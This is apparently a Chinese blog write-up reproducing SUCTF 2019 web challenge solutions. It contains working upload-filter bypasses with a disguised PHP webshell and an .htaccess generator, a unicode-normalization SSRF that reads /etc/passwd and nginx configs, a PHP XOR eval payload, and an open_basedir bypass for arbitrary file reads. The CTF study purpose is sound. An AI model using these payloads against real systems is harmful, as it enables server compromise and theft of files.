0%

SUCTF2019 复现

题目存档
https://github.com/team-su/SUCTF-2019

checkIn

上传ini

.user.ini

1
2
GIF89a
auto_prepend_file=01.gif

上传gif
01.gif

1
GIF89a<script language="php">system('cat /flag')</script>

访问/upload/index.php 自动加载了01.gif,flag到手

pythonginx

直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

构造:

1
file:////suctf.cc/etc/passwd

直接是用blackhat议题之一HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization

PPT链接:PPT

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
#print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
print((str('\\u'+str(hex(x))[2:])))
except:
pass


def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False

if __name__=="__main__":
get_unicode()

脚本爆破出符合条件的字符,版本是python3.7的
img

1
2
3
from urllib.parse import quote
>>> quote('\u2102')
'%E2%84%82'

读nginx配置

1
/getUrl?url=file://suctf.c%E2%84%82/usr/local/nginx/conf/nginx.conf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
server {
listen 80;
location / {
try_files $uri @app;
}
location @app {
include uwsgi_params;
uwsgi_pass unix:///tmp/uwsgi.sock;
}
location /static {
alias /app/static;
}
# location /flag {
# alias /usr/fffffflag;
# }
}

读flag:

1
/getUrl?url=file://suctf.c%E2%84%AD/usr/fffffflag

还可以去找一下PPT那种字符,python3.6,题目环境是3.6,有更多字符

1
2
3
4
5
6
7
8
9
10
\u2102
\u2105
\u2106
\u212d
\u216d
\u217d
\u24b8
\u24d2
\uff23
\uff43

构造file://suctf.c℆sr/local/nginx/conf/nginx.conf
相当于file://suctf.cc/usr/local/nginx/conf/nginx.conf

url编码后

1
file://suctf.c%E2%84%86sr/fffffflag

EasyPHP

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

参考De1ta wp 复现

ISITDTU CTF 2019 EasyPHP 回顾

最后整出这个payload

1
${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=get_the_flag

感谢七友师傅先知下回复我

https://thibaudrobin.github.io/articles/bypass-filter-upload/
生成上传文件,生成xbm图片类型绕过检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
phpfile = open(filename, 'wb')

phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)

phpfile.close()

def generate_htacess():
htaccess = open('.htaccess', 'wb')

htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .south\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')

htaccess.close()

generate_htacess()
generate_php_file("webshell.south", "<?php eval($_GET['cmd']); die(); ?>")

phpinfo

1
open_basedir	/var/www/html/:/tmp/

只能读到网站根目录
/var/wwww/html/F1AghhhhhhhhhhhhhHH

假flag

1
hhhh This is fake flag But I heard php7.2-fpm has been initialized in unix socket mode! ~

0CTF-TCTF final的绕过open_basedir任意文件读取

1
cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/THis_Is_tHe_F14g');

result:

1
2
3
4
<br />
<b>Warning</b>: mkdir(): File exists in
<b>/var/www/html/upload/tmp_4ec272d6ec1a837b54c3a413eb2c14f1/webshell.south(1) : eval()'d code</b> on line <b>1</b><br />
suctf{Undefined_constant_With_XOR_Code_Execution}

还可以用这个方法绕 生成wbmp图片文件解析为phphttps://xz.aliyun.com/t/3937

图片文件格式:https://www.php.net/manual/en/function.exif-imagetype.php#refsect1-function.exif-imagetype-constants

ps:另一种解法

1
file:////suctf.cc/../../../../../etc/passwd

Upload Labs 2

思路是ssrf 成为管理员访问admin.php,new 一个Ad

用到rogue mysql的触发反序列化

zsx大佬!
img

设置
php.ini

1
mysqli.allow_local_infile = On

my.cnf (my.ini)

1
2
local-infile=1
secure_file_priv=""

走你
img

不知道为啥没复现成功,先放着……